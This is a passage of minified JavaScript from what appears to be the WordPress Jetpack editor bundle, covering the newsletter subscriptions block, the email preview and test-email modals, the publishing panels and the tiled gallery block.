ue=(0,i.usePrevious)(x);return(0,c.useEffect)(()=&gt;{ue?.color===N?.color&amp;&amp;N?.color!==x?.color&amp;&amp;T(x.color)},[x,ue,N,T]),(0,y.jsxs)(&quot;div&quot;,{...I,className:(0,d.A)(I.className,&quot;wp-block-jetpack-subscriptions__container&quot;,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,W?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,G?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0),children:[(0,y.jsx)(o.InspectorControls,{children:(0,y.jsx)(k.A,{areNewsletterCategoriesEnabled:X,availableNewsletterCategories:Q,buttonBackgroundColor:x,borderColor:N,buttonGradient:te,borderRadius:L,borderWeight:R,buttonOnNewLine:W,emailFieldBackgroundColor:r,fallbackButtonBackgroundColor:C,fallbackTextColor:S,fontSize:B,includeSocialFollowers:O,isGradientAvailable:j,padding:z,preselectNewsletterCategories:U,setAttributes:s,setBorderColor:T,setButtonBackgroundColor:_,setTextColor:E,showSubscribersTotal:G,spacing:q,subscriberCount:K,textColor:A,buttonWidth:D,selectedNewsletterCategoryIds:H,subscribePlaceholder:$,submitButtonText:V,successMessage:Z})}),(0,y.jsx)(o.BlockControls,{children:(0,y.jsx)(a.ToolbarGroup,{children:(0,y.jsx)(a.ToolbarButton,{href:(0,g.Qu)(P),target:&quot;_blank&quot;,children:P?_x(&quot;Manage plans&quot;,&quot;unused context to distinguish translations&quot;,&quot;jetpack&quot;):__(&quot;Set up a paid plan&quot;,&quot;jetpack&quot;)})})}),(0,y.jsxs)(&quot;div&quot;,{style:ie,children:[(0,y.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-subscriptions__container is-not-subscriber&quot;,children:(0,y.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-subscriptions__form&quot;,role:&quot;form&quot;,children:(0,y.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-subscriptions__form-elements&quot;,children:[&quot;button&quot;!==J&amp;&amp;(0,y.jsx)(a.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,placeholder:$,disabled:!0,className:(0,d.A)(re,&quot;wp-block-jetpack-subscriptions__textfield&quot;),style:le}),(0,y.jsx)(o.RichText,{className:(0,d.A)(ne,&quot;wp-block-jetpack-subscriptions__button&quot;,&quot;wp-block-button__link&quot;),onChange:e=&gt;s({submitButtonText:e}),style:ce,value:V,withoutInteractiveFormatting:!0,allowedFormats:[&quot;core/bold&quot;,&quot;core/italic&quot;,&quot;core/strikethrough&quot;]})]})})}),G&amp;&amp;(0,y.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-subscriptions__subscount&quot;,children:Y})]})]})})},13554(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(74997),o=s(47143),a=s(43656),i=s(86087),l=s(52619),c=s(27723),u=s(12549),d=s(94157),p=s(94375),h=s(99876),m=s(63200),g=s(39025),f=s(38387),b=s(3722),v=s(74500),k=s(48313),y=s(10790);const __=c.__,x=h.name.replace(&quot;jetpack/&quot;,&quot;&quot;);(0,p.M)(h,{edit:f.h,transforms:{from:[{type:&quot;block&quot;,isMultiBlock:!1,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;blog_subscription&quot;===e,transform:({instance:e})=&gt;(0,n.createBlock)(&quot;jetpack/subscriptions&quot;,{showSubscribersTotal:e.raw.show_subscribers_total,submitButtonText:e.raw.subscribe_button,subscribePlaceholder:e.raw.subscribe_placeholder,successMessage:e.raw.success_message})},{type:&quot;block&quot;,isMultiBlock:!1,blocks:[&quot;core/buttons&quot;],transform:(e,t)=&gt;{if(!t?.length)return(0,n.createBlock)(&quot;jetpack/subscriptions&quot;);const s=[];return t.forEach(e=&gt;{const t=e?.attributes?.text;s.push((0,n.createBlock)(&quot;jetpack/subscriptions&quot;,{...t?{submitButtonText:t}:{}}))}),s}}]},deprecated:g.A});const j=()=&gt;&quot;post&quot;===(0,o.select)(&quot;core/editor&quot;).getCurrentPostType(),w=()=&gt;{const{isPreviewModalOpen:e,openPreviewModal:t,closePreviewModal:s,postId:n}=(()=&gt;{const[e,t]=(0,i.useState)(!1),s=(0,o.select)(&quot;core/editor&quot;).getCurrentPostId(),{tracks:n}=(0,r.st)();return{isPreviewModalOpen:e,openPreviewModal:(0,i.useCallback)(e=&gt;{t(!0),n.recordEvent(&quot;jetpack_newsletter_preview_opened&quot;,{source:e})},[n]),closePreviewModal:(0,i.useCallback)(()=&gt;{t(!1)},[]),postId:s}})();return(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(k.Ay,{}),j()&amp;&amp;(0,y.jsxs)(y.Fragment,{children:[a.PluginPreviewMenuItem?(0,y.jsx)(a.PluginPreviewMenuItem,{onClick:()=&gt;t(&quot;preview_menu&quot;),icon:d.A,children:__(&quot;Email preview&quot;,&quot;jetpack&quot;)}):null,(0,y.jsx)(b.X,{isOpen:e,onClose:s,postId:n}),(0,y.jsx)(v.A,{openPreviewModal:()=&gt;t(&quot;newsletter_menu&quot;)})]}),(0,y.jsx)(m.A,{})]})};(0,r.vp)(x,{render:()=&gt;(0,y.jsx)(w,{}),icon:j()?u.A:void 0}),(0,l.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack-subscriptions-nav-item&quot;,(e,t)=&gt;&quot;core/navigation&quot;===t?{...e,allowedBlocks:[...e.allowedBlocks??[],&quot;jetpack/subscriptions&quot;]}:e)},3722(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;_,X:()=&gt;N});var r=s(3924),n=s(60442),o=s(85985),a=s(1455),i=s.n(a),l=s(56427),c=s(47143),u=s(43656),d=s(86087),p=s(27723),h=s(84699),m=s(88901),g=s(32833),f=s(20113),b=s(55173),v=s(92634),k=s(72091),y=(s(3983),s(37906)),x=s(42167),j=s(62521),w=s(10790);const __=p.__;function _({isOpen:e,onClose:t}){const[s,r]=(0,d.useState)(!1),[n,a]=(0,d.useState)(!1),[p,h]=(0,d.useState)(!1),g=(0,c.useSelect)(e=&gt;e(&quot;core/editor&quot;).getCurrentPostId()),{__unstableSaveForPreview:f}=(0,c.useDispatch)(u.store),{tracks:b}=(0,o.st)();return e?(0,w.jsx)(l.Modal,{onRequestClose:()=&gt;{t(),r(!1)},title:__(&quot;Send a test email&quot;,&quot;jetpack&quot;),size:&quot;medium&quot;,children:(0,w.jsxs)(l.__experimentalVStack,{children:[p&amp;&amp;(0,w.jsxs)(&quot;p&quot;,{children:[p,&quot; &quot;]}),s?(0,w.jsxs)(l.__experimentalHStack,{alignment:&quot;left&quot;,className:&quot;jetpack-newsletter-test-email-modal__email-sent&quot;,children:[(0,w.jsx)(l.Icon,{icon:m.A,size:28}),(0,w.jsx)(&quot;p&quot;,{children:__(&quot;Email sent successfully&quot;,&quot;jetpack&quot;)})]}):(0,w.jsxs)(w.Fragment,{children:[(0,w.jsx)(&quot;p&quot;,{children:__(&quot;This will send you an email, allowing you to see exactly what your subscribers receive in their inboxes.&quot;,&quot;jetpack&quot;)}),(0,w.jsxs)(l.__experimentalGrid,{alignment:&quot;bottom&quot;,columns:2,gap:2,templateColumns:&quot;2fr auto;&quot;,children:[(0,w.jsx)(l.__experimentalInputControl,{value:window?.Jetpack_Editor_Initial_State?.tracksUserData?.email,disabled:!0,__next40pxDefaultSize:!0}),(0,w.jsxs)(l.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{b.recordEvent(&quot;jetpack_newsletter_test_email_send&quot;,{post_id:g}),a(!0),await f(),i()({path:&quot;/wpcom/v2/send-email-preview/&quot;,method:&quot;POST&quot;,data:{id:g}}).then(()=&gt;{a(!1),r(!0)}).catch(e=&gt;{a(!1),h(e.message||__(&quot;Whoops, we have encountered an error. Please try again later.&quot;,&quot;jetpack&quot;))})},isBusy:n,__next40pxDefaultSize:!0,children:[__(&quot;Send&quot;,&quot;jetpack&quot;),(0,w.jsx)(l.Icon,{icon:j.q})]})]})]})]})}):null}const C=[{name:&quot;desktop&quot;,icon:f.A,label:__(&quot;Desktop&quot;,&quot;jetpack&quot;),width:&quot;100%&quot;,size:&quot;lg&quot;},{name:&quot;tablet&quot;,icon:k.A,label:__(&quot;Tablet&quot;,&quot;jetpack&quot;),width:&quot;768px&quot;,size:&quot;md&quot;},{name:&quot;mobile&quot;,icon:b.A,label:__(&quot;Mobile&quot;,&quot;jetpack&quot;),width:&quot;360px&quot;,size:&quot;sm&quot;}],A=({selectedDevice:e,setSelectedDevice:t})=&gt;{const[s]=(0,n.A)(&quot;md&quot;),[r]=(0,n.A)(&quot;sm&quot;),{tracks:a}=(0,o.st)();if(r)return null;return(0,w.jsx)(l.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,onChange:e=&gt;{a.recordEvent(&quot;jetpack_newsletter_preview_device_change&quot;,{device:e}),t(e)},value:e,isBlock:!0,__next40pxDefaultSize:!0,children:(s?C.filter(e=&gt;&quot;lg&quot;!==e.size):C).map(e=&gt;(0,w.jsx)(l.__experimentalToggleGroupControlOptionIcon,{icon:e.icon,value:e.name,label:e.label},e.name))})},S=({selectedAccess:e,setSelectedAccess:t})=&gt;{const[s]=(0,n.A)(&quot;sm&quot;),r=(0,c.useSelect)(e=&gt;e(u.store).getCurrentPostType(),[]),a=(0,x.I)(r),{tracks:i}=(0,o.st)();if(!(a===y.P2.paid_subscribers.key))return null;const d=[{label:y.P2.subscribers.label,value:y.P2.subscribers.key,icon:v.A},{label:y.P2.paid_subscribers.label,value:y.P2.paid_subscribers.key,icon:g.A}];return(0,w.jsx)(l.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,onChange:e=&gt;{i.recordEvent(&quot;jetpack_newsletter_preview_access_change&quot;,{access:e}),t(e)},value:e,isBlock:!0,isAdaptiveWidth:!0,__next40pxDefaultSize:!0,children:d.map(e=&gt;s?(0,w.jsx)(l.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value):(0,w.jsx)(l.__experimentalToggleGroupControlOption,{value:e.value,label:e.label},e.value))})},E=({selectedAccess:e,setSelectedAccess:t,selectedDevice:s,setSelectedDevice:r})=&gt;{const[o]=(0,n.A)(&quot;sm&quot;);return(0,w.jsxs)(l.__experimentalHStack,{alignment:&quot;center&quot;,spacing:o?1:6,children:[(0,w.jsx)(A,{selectedDevice:s,setSelectedDevice:r}),(0,w.jsx)(S,{selectedAccess:e,setSelectedAccess:t})]})};function N({isOpen:e,onClose:t,postId:s}){const[n,a]=(0,d.useState)(!0),[c,u]=(0,d.useState)(!1),[p,m]=(0,d.useState)(!1),[g,f]=(0,d.useState)({}),[b,v]=(0,d.useState)(y.P2.subscribers.key),[k,x]=(0,d.useState)(&quot;desktop&quot;),{tracks:j}=(0,o.st)(),_=(0,d.useCallback)(async e=&gt;{if(s){a(!0),u(!1);try{const t=await i()({path:`/wpcom/v2/email-preview/?post_id=${s}&amp;access=${e}`,method:&quot;GET&quot;});if(!t||!t.html)throw new Error(&quot;Invalid response format&quot;);f(s=&gt;({...s,[e]:t.html}))}catch{j.recordEvent(&quot;jetpack_newsletter_preview_modal_error&quot;),u(!0)}finally{a(!1)}}},[s,j]);(0,d.useEffect)(()=&gt;{e&amp;&amp;!Object.hasOwn(g,b)?_(b):e&amp;&amp;a(!1)},[e,b,_,g]),(0,d.useEffect)(()=&gt;{e&amp;&amp;j.recordEvent(&quot;jetpack_newsletter_preview_modal_open&quot;,{post_id:s})},[e,s,j]);const A=C.find(e=&gt;e.name===k).width;return e&amp;&amp;(0,w.jsx)(l.Modal,{isFullScreen:!0,title:__(&quot;Preview email&quot;,&quot;jetpack&quot;),onRequestClose:()=&gt;{j.recordEvent(&quot;jetpack_newsletter_preview_modal_close&quot;,{post_id:s}),t(),f({})},headerActions:(0,w.jsx)(E,{selectedAccess:b,setSelectedAccess:v,selectedDevice:k,setSelectedDevice:x}),className:&quot;jetpack-newsletter-preview-modal&quot;,children:(0,w.jsxs)(&quot;div&quot;,{style:{display:&quot;flex&quot;,justifyContent:&quot;center&quot;,alignItems:&quot;center&quot;,height:&quot;calc(100vh - 190px)&quot;,backgroundColor:c?&quot;#fff&quot;:&quot;#ddd&quot;,paddingTop:&quot;desktop&quot;!==k?&quot;36px&quot;:&quot;0&quot;,transition:&quot;padding 0.3s ease-in-out&quot;},children:[n&amp;&amp;(0,w.jsx)(l.Spinner,{}),c&amp;&amp;(0,w.jsxs)(l.__experimentalVStack,{alignment:&quot;center&quot;,&quot;aria-live&quot;:&quot;polite&quot;,role:&quot;alert&quot;,style:{textAlign:&quot;center&quot;},children:[(0,w.jsx)(l.Icon,{icon:h.A}),(0,w.jsx)(&quot;h3&quot;,{children:__(&quot;Oops, something went wrong showing the preview…&quot;,&quot;jetpack&quot;)}),(0,w.jsx)(l.Button,{onClick:()=&gt;{m(!0),_(b)},variant:&quot;primary&quot;,children:__(&quot;Try again&quot;,&quot;jetpack&quot;)}),p&amp;&amp;(0,w.jsx)(&quot;p&quot;,{children:(0,d.createInterpolateElement)(__(&quot;If the issue persists, please &lt;supportLink&gt;contact support&lt;/supportLink&gt;.&quot;,&quot;jetpack&quot;),{supportLink:(0,w.jsx)(l.ExternalLink,{href:(0,r.A)(&quot;jetpack-support&quot;)})})})]}),!n&amp;&amp;!c&amp;&amp;(0,w.jsx)(&quot;iframe&quot;,{srcDoc:g?.[b],style:{width:A,maxWidth:&quot;100%&quot;,height:&quot;100%&quot;,border:&quot;none&quot;,transition:&quot;width 0.3s ease-in-out&quot;},title:__(&quot;Email Preview&quot;,&quot;jetpack&quot;)})]})})}},62521(e,t,s){&quot;use strict&quot;;s.d(t,{q:()=&gt;o});var r=s(56427),n=s(10790);const o=()=&gt;(0,n.jsx)(r.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,n.jsx)(r.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M6.332 5.748c-1.03-.426-2.06.607-1.632 1.636l1.702 3.93 7.481.575c.123.01.123.19 0 .2l-7.483.575-1.7 3.909c-.429 1.029.602 2.062 1.632 1.636l12.265-5.076c1.03-.426 1.03-1.884 0-2.31L6.332 5.748Z&quot;})})},74500(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(39384),n=s(97999),o=s(56427),a=s(47143),i=s(43656),l=s(27723),c=s(51609),u=s(37906),d=s(42167),p=s(11354),h=s(12045),m=s(3722),g=s(62521),f=s(10790);const __=l.__,b=({openPreviewModal:e})=&gt;{const[t,s]=(0,c.useState)(!1),{postId:l,postType:b,postStatus:v,meta:k}=(0,a.useSelect)(e=&gt;({postId:e(&quot;core/editor&quot;).getCurrentPostId(),postType:e(&quot;core/editor&quot;).getCurrentPostType(),postStatus:e(&quot;core/editor&quot;).getEditedPostAttribute(&quot;status&quot;),meta:e(&quot;core/editor&quot;).getEditedPostAttribute(&quot;meta&quot;)}),[]),y=(0,d.I)(b),x=&quot;publish&quot;===v,j=!k?.[u.KG],{isUserConnected:w}=(0,r.useConnection)(),_=(0,r.getUserConnectionUrl)(),C=!(0,n.isSimpleSite)()&amp;&amp;!w;return(0,f.jsx)(i.PluginSidebar,{name:&quot;jetpack-newsletter-settings-sidebar&quot;,title:&quot;Jetpack Newsletter&quot;,icon:(0,f.jsx)(g.q,{}),className:&quot;jetpack-newsletter-settings-sidebar&quot;,children:(0,f.jsxs)(o.PanelBody,{children:[!x&amp;&amp;(0,f.jsx)(p.ix,{}),(0,f.jsx)(h.Ay,{accessLevel:y,prePublish:!x}),j&amp;&amp;!x&amp;&amp;(0,f.jsx)(f.Fragment,{children:C?(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(&quot;p&quot;,{children:__(&quot;To email your posts, build an audience, and use features like preview and test, connect to WordPress.com cloud.&quot;,&quot;jetpack&quot;)}),(0,f.jsx)(o.Button,{variant:&quot;primary&quot;,href:_,style:{marginTop:&quot;10px&quot;},children:__(&quot;Connect WordPress.com account&quot;,&quot;jetpack&quot;)})]}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(&quot;p&quot;,{children:__(&quot;Ensure your email looks perfect. Use the buttons below to view a preview or send a test email.&quot;,&quot;jetpack&quot;)}),(0,f.jsxs)(o.__experimentalHStack,{wrap:!0,children:[(0,f.jsx)(o.Button,{onClick:e,variant:&quot;secondary&quot;,disabled:x||!l,children:__(&quot;Preview email&quot;,&quot;jetpack&quot;)}),(0,f.jsx)(o.Button,{onClick:()=&gt;s(!0),variant:&quot;secondary&quot;,disabled:x||!l,children:__(&quot;Send test email&quot;,&quot;jetpack&quot;)})]}),(0,f.jsx)(m.T,{isOpen:t,onClose:()=&gt;s(!1)})]})})]})})}},48313(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;E});var r=s(3924),n=s(85985),o=s(82201),a=s(56427),i=s(47143),l=s(43656),c=s(86087),u=s(27723),d=s(13109),p=s(1866),h=s(37906),m=s(42167),g=s(11354),f=s(12045),b=s(64234),v=s(16521),k=s(3722),y=(s(8688),s(10790));const __=u.__;function x(){const e=(0,c.useRef)(null),{setPublishedWithEmailEnabledInSession:t,setAlreadySentPostModifiedInSession:s}=(0,i.useDispatch)(v.M),{postId:r,postMeta:n,postEmailSentState:o,status:a,isSavingPost:u}=(0,i.useSelect)(e=&gt;{const{getCurrentPost:t,getEditedPostAttribute:s}=e(l.store),{getPostEmailSentState:r}=e(v.M),n=t(),o=n?.id;return o&amp;&amp;r(o),{postId:o,postMeta:s(&quot;meta&quot;),postEmailSentState:o?r(o):null,status:n?.status,isSavingPost:e(l.store).isSavingPost()}},[]);return(0,c.useLayoutEffect)(()=&gt;{if(r){if(&quot;publish&quot;===a){null!==e.current&amp;&amp;&quot;publish&quot;!==e.current&amp;&amp;(n?.[h.KG]||t(r))}u&amp;&amp;null!=o?.email_sent_at&amp;&amp;s(r)}e.current=a},[a,r,u,o?.email_sent_at,n,t,s]),null}function j({accessLevel:e}){return(0,y.jsx)(l.PluginDocumentSettingPanel,{className:&quot;jetpack-subscribe-newsletter-panel&quot;,title:__(&quot;Access&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),name:&quot;jetpack-subscribe-newsletters-editor-panel&quot;,children:(0,y.jsx)(g.GG,{accessLevel:e})})}const w=()=&gt;(0,n.lk)()?__(&quot;You will be able to send newsletters once the site is published&quot;,&quot;jetpack&quot;):(0,n.pP)()?__(&quot;Emails will not be sent to subscribers while your site is private&quot;,&quot;jetpack&quot;):null,_=()=&gt;{const e=w();return e?(0,y.jsx)(a.Notice,{status:&quot;info&quot;,isDismissible:!1,className:&quot;edit-post-post-visibility__notice&quot;,children:e}):null},C=()=&gt;(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(l.PluginDocumentSettingPanel,{className:&quot;jetpack-subscribe-newsletters-panel&quot;,title:__(&quot;Access&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),children:(0,y.jsx)(_,{})}),(0,y.jsx)(l.PluginPrePublishPanel,{className:&quot;jetpack-subscribe-newsletters-panel&quot;,title:__(&quot;Newsletter&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),children:(0,y.jsx)(_,{})}),(0,y.jsx)(l.PluginPostPublishPanel,{className:&quot;jetpack-subscribe-newsletters-panel&quot;,title:__(&quot;Newsletter&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),children:(0,y.jsx)(_,{})})]});function A({accessLevel:e,showPreviewModal:t}){const s=(0,i.useSelect)(e=&gt;e(l.store).getEditedPostVisibility()),r=(0,b.fI)(s,e);return(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(l.PluginPrePublishPanel,{initialOpen:!0,name:&quot;jetpack-subscribe-access-panel&quot;,className:&quot;jetpack-subscribe-newsletters-panel&quot;,title:(0,y.jsxs)(y.Fragment,{children:[__(&quot;Access:&quot;,&quot;jetpack&quot;),e&amp;&amp;(0,y.jsx)(&quot;span&quot;,{className:&quot;jetpack-subscribe-post-publish-panel__heading&quot;,children:h.P2[e].panelHeading})]}),icon:(0,y.jsx)(o.jt,{}),children:(0,y.jsx)(g.GG,{accessLevel:e})}),(0,y.jsxs)(l.PluginPrePublishPanel,{initialOpen:!0,name:&quot;jetpack-subscribe-newsletters-panel&quot;,title:__(&quot;Newsletter&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),children:[(0,y.jsx)(g.ix,{}),r?(0,y.jsx)(b.mf,{}):(0,y.jsx)(f.Ay,{prePublish:!0,accessLevel:e}),(0,y.jsx)(a.Button,{variant:&quot;link&quot;,onClick:t,children:__(&quot;Send test email&quot;,&quot;jetpack&quot;)})]})]})}function S({accessLevel:e}){const{isStripeConnected:t}=(0,i.useSelect)(e=&gt;{const{getConnectUrl:t}=e(v.M);return{isStripeConnected:null===t()}});return(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(l.PluginPostPublishPanel,{title:__(&quot;Newsletter&quot;,&quot;jetpack&quot;),className:&quot;jetpack-subscribe-newsletters-panel jetpack-subscribe-post-publish-panel&quot;,icon:(0,y.jsx)(o.jt,{}),name:&quot;jetpack-subscribe-newsletters-postpublish-panel&quot;,children:(0,y.jsx)(f.Ay,{accessLevel:e})}),!t&amp;&amp;(0,y.jsxs)(l.PluginPostPublishPanel,{className:&quot;jetpack-subscribe-newsletters-panel paid-newsletters-post-publish-panel&quot;,title:__(&quot;Set up a paid newsletter&quot;,&quot;jetpack&quot;),icon:(0,y.jsx)(o.jt,{}),children:[(0,y.jsx)(a.PanelRow,{children:(0,y.jsx)(&quot;p&quot;,{children:__(&quot;Allow your subscribers to support your work. Connect a Stripe account to get started.&quot;,&quot;jetpack&quot;)})}),(0,y.jsx)(&quot;div&quot;,{role:&quot;link&quot;,className:&quot;post-publish-panel__postpublish-buttons&quot;,children:(0,y.jsxs)(a.Button,{target:&quot;_blank&quot;,variant:&quot;secondary&quot;,href:(0,r.A)(&quot;wpcom-earn&quot;,{site:(0,n.GE)()}),children:[__(&quot;Turn on paid newsletters&quot;,&quot;jetpack&quot;),(0,y.jsx)(d.A,{icon:p.A,className:&quot;paid-newsletters-post-publish-panel__external_icon&quot;})]})})]})]})}function E(){const e=(0,i.useSelect)(e=&gt;e(l.store).getCurrentPostType(),[]),[t,s]=(0,c.useState)(!1),{tracks:r}=(0,n.st)(),o=(0,m.I)(e);return&quot;post&quot;!==e?null:(0,m.V)()?w()?(0,y.jsx)(C,{}):(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(x,{}),(0,y.jsx)(j,{accessLevel:o}),(0,y.jsx)(A,{accessLevel:o,showPreviewModal:()=&gt;{r.recordEvent(&quot;jetpack_send_email_preview_prepublish_preview_button&quot;),s(!0)}}),(0,y.jsx)(S,{accessLevel:o}),(0,y.jsx)(k.T,{isOpen:t,onClose:()=&gt;s(!1)})]}):null}},35463(e,t,s){&quot;use strict&quot;;s.d(t,{WN:()=&gt;a,ZS:()=&gt;o,aQ:()=&gt;l,eN:()=&gt;r,hE:()=&gt;n,kc:()=&gt;c,rK:()=&gt;i});const r=[&quot;image&quot;],n=4,o=20,a=20,i=2e3,l=&quot;circle&quot;,c=[{isDefault:!0,name:&quot;rectangular&quot;},{name:l},{name:&quot;square&quot;},{name:&quot;columns&quot;}]},77530(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;m,c:()=&gt;h});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(74490),l=s(35463),c=s(2164),u=s(9888),d=s(10790);const __=a.__,p=[{value:&quot;attachment&quot;,label:__(&quot;Attachment Page&quot;,&quot;jetpack&quot;)},{value:&quot;media&quot;,label:__(&quot;Media File&quot;,&quot;jetpack&quot;)},{value:&quot;none&quot;,label:__(&quot;None&quot;,&quot;jetpack&quot;)},{value:&quot;custom&quot;,label:__(&quot;Custom&quot;,&quot;jetpack&quot;)}],h=({images:e,onSelectImages:t,imageFilter:s,onFilterChange:a})=&gt;(0,d.jsx)(r.BlockControls,{children:!!e.length&amp;&amp;(0,d.jsxs)(o.Fragment,{children:[(0,d.jsx)(n.ToolbarGroup,{children:(0,d.jsx)(n.ToolbarItem,{children:()=&gt;(0,d.jsx)(r.MediaUpload,{onSelect:t,allowedTypes:l.eN,multiple:!0,gallery:!0,value:e.map(e=&gt;e.id),render:({open:e})=&gt;(0,d.jsx)(i.A,{label:__(&quot;Edit Gallery&quot;,&quot;jetpack&quot;),onClick:e})})})}),(0,d.jsx)(c.A,{value:s,onChange:a})]})}),m=({layoutStyle:e,images:t,columns:s,onColumnsChange:o,roundedCorners:a,onRoundedCornersChange:i,linkTo:c,onLinkToChange:h,selectedImage:m,setImageAttributes:g})=&gt;(0,d.jsxs)(r.InspectorControls,{children:[(0,d.jsxs)(n.PanelBody,{title:__(&quot;Tiled Gallery settings&quot;,&quot;jetpack&quot;),children:[(0,u.o)(e)&amp;&amp;t.length&gt;1&amp;&amp;(0,d.jsx)(n.RangeControl,{label:__(&quot;Columns&quot;,&quot;jetpack&quot;),value:s,onChange:o,min:1,max:Math.min(l.ZS,t.length),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),e!==l.aQ&amp;&amp;(0,d.jsx)(n.RangeControl,{label:__(&quot;Rounded corners&quot;,&quot;jetpack&quot;),value:a,onChange:i,min:0,max:l.WN,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,d.jsx)(n.SelectControl,{label:__(&quot;Link To&quot;,&quot;jetpack&quot;),value:c,onChange:h,options:p,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})]}),null!==m&amp;&amp;&quot;custom&quot;===c&amp;&amp;(0,d.jsx)(n.PanelBody,{title:__(&quot;Image Link Settings&quot;,&quot;jetpack&quot;),children:(0,d.jsx)(n.TextControl,{label:__(&quot;Link URL&quot;,&quot;jetpack&quot;),value:t[m]?.customLink||&quot;&quot;,onChange:e=&gt;{&quot;custom&quot;===c&amp;&amp;g(m)({customLink:e})},placeholder:__(&quot;Enter URL&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})]})},10602(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(9190),n=s(72203),o=s(52516),a=s(24753),i=s(62554),l=s(59679),c=s(75e3);const u=[s(20837),c,l,i,a,o,n,r]},70263(e,t,s){&quot;use strict&quot;;s.d(t,{T$:()=&gt;a,ZS:()=&gt;n,hE:()=&gt;r,kc:()=&gt;i,rK:()=&gt;o});const r=4,n=20,o=2e3,a=&quot;rectangular&quot;,i=[{isDefault:!0,name:a},{name:&quot;circle&quot;},{name:&quot;square&quot;},{name:&quot;columns&quot;}]},69291(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(63162),n=s(10790);function o(e){const{&quot;aria-label&quot;:t,alt:s,height:o,id:a,link:i,linkTo:l,origUrl:c,url:u,width:d}=e;if((0,r.isBlobURL)(c))return null;let p;switch(l){case&quot;media&quot;:p=u;break;case&quot;attachment&quot;:p=i}const h=(0,n.jsx)(&quot;img&quot;,{alt:s,&quot;aria-label&quot;:t,&quot;data-height&quot;:o,&quot;data-id&quot;:a,&quot;data-link&quot;:i,&quot;data-url&quot;:c,&quot;data-width&quot;:d,src:u});return(0,n.jsx)(&quot;figure&quot;,{className:&quot;tiled-gallery__item&quot;,children:p?(0,n.jsx)(&quot;a&quot;,{href:p,children:h}):h})}},9190(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;n,save:()=&gt;r.A,support:()=&gt;o});var r=s(39805);const n={align:{default:&quot;center&quot;,type:&quot;string&quot;},className:{default:`is-style-${s(70263).T$}`,type:&quot;string&quot;},columns:{type:&quot;number&quot;},ids:{default:[],type:&quot;array&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},caption:{selector:&quot;figcaption&quot;,source:&quot;html&quot;,type:&quot;string&quot;},height:{attribute:&quot;data-height&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;}},o={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],customClassName:!1,html:!1}},29971(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,children:e})}},75303(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},5525(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(63162),n=s(86087),o=s(27723),a=s(14936),i=s(70263),l=s(69291),c=s(58070),u=s(45726),d=s(10790);const __=o.__;class p extends n.Component{photonize({height:e,width:t,url:s}){if(!s)return;if((0,r.isBlobURL)(s)||/^https?:\/\/localhost/.test(s))return s;const 